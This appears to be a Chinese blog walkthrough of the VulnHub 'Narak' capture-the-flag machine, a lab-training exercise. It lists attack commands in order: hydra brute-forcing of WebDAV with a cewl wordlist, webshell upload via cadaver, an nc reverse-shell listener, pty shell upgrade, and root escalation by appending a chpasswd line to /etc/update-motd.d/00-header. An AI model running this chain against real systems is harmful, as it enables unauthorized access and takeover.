• VulnHub — NARAK


    Description

    Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.

    Objective: Find 2 flags (user.txt and root.txt)

    nmap 扫出来靶场ip 和开放端口 

     

     浏览器访问 ,一堆这个关于题目背景的地狱图片 ,没有什么信息

     扫描一下目录 ,dirsearch 和 dirb都用了一下 ,dirmap倒是没出来

    访问webdav 有东西 

     

    cadaver  —— webdav客户端使用  

    1. cadaver http://192.168.164.130/webdav //连接
    2. put webshell.php //上传

     

    cewl —— 爬行网站创建密码字典

    1. 通过爬取网站获得关键词信息,创建一个密码字典
    2. cewl http://192.168.164.130/ -w 1.txt

     hydra —— 爆破神器,支持众多协议的自动化爆破

    1. hydra -L 1.txt -P 1.txt 192.168.164.130 http-get /webdav
    2. -L 用户名 -P 密码 ip地址 协议 路径

    爆破出 用户名密码了,就可以cadaver 进行连接了 

     连接上,可以 put 一个 webshell ,成功后

     nc ——监听

    nc -lvvp 4444(webshell设置端口)

    然后用刚才的用户名密码 登录这个webshell

     发现nc 成功连接靶机,可以输入命令了 

    已经反弹shell ,执行下面命令进入python交互式 

    python3 -c 'import pty;pty.spawn("/bin/bash")'
    

    这样的话,页面就好看一些了 

     

     BrainFuck 解码后:chitragupt  (应该是某用户的密码)

    用ssh 远程登录 尝试

     成功拿到flag1

    motd 提权

    1. 原理:修改文件 /etc/update-motd.d/00-header
    2. 1, 进入到文件夹 /etc/update-motd.d/
    3. 2, 修改文件 echo "echo 'root:123456'|sudo chpasswd">>00-header
    4. 3, 重新登陆
    5. 4, su root

     前两条命令输入,没反应,就可以重新登陆了

  • 相关阅读:
    CRM系统如何帮助企业数字化转型?分为几个阶段?
    你的团队工作量饱和吗?
    智慧社区管理系统08(维修和柱状图显现)
    初识猿如意开发工具
    局域网远程yum源制做
    静态资源映射
    51单片机-AT24C02(I2C总线)
    大数据-hadoop常用命令
    动静态库(生成和使用)
    CLIP文章精读
  • 原文地址:https://blog.csdn.net/qq_61768489/article/details/126786836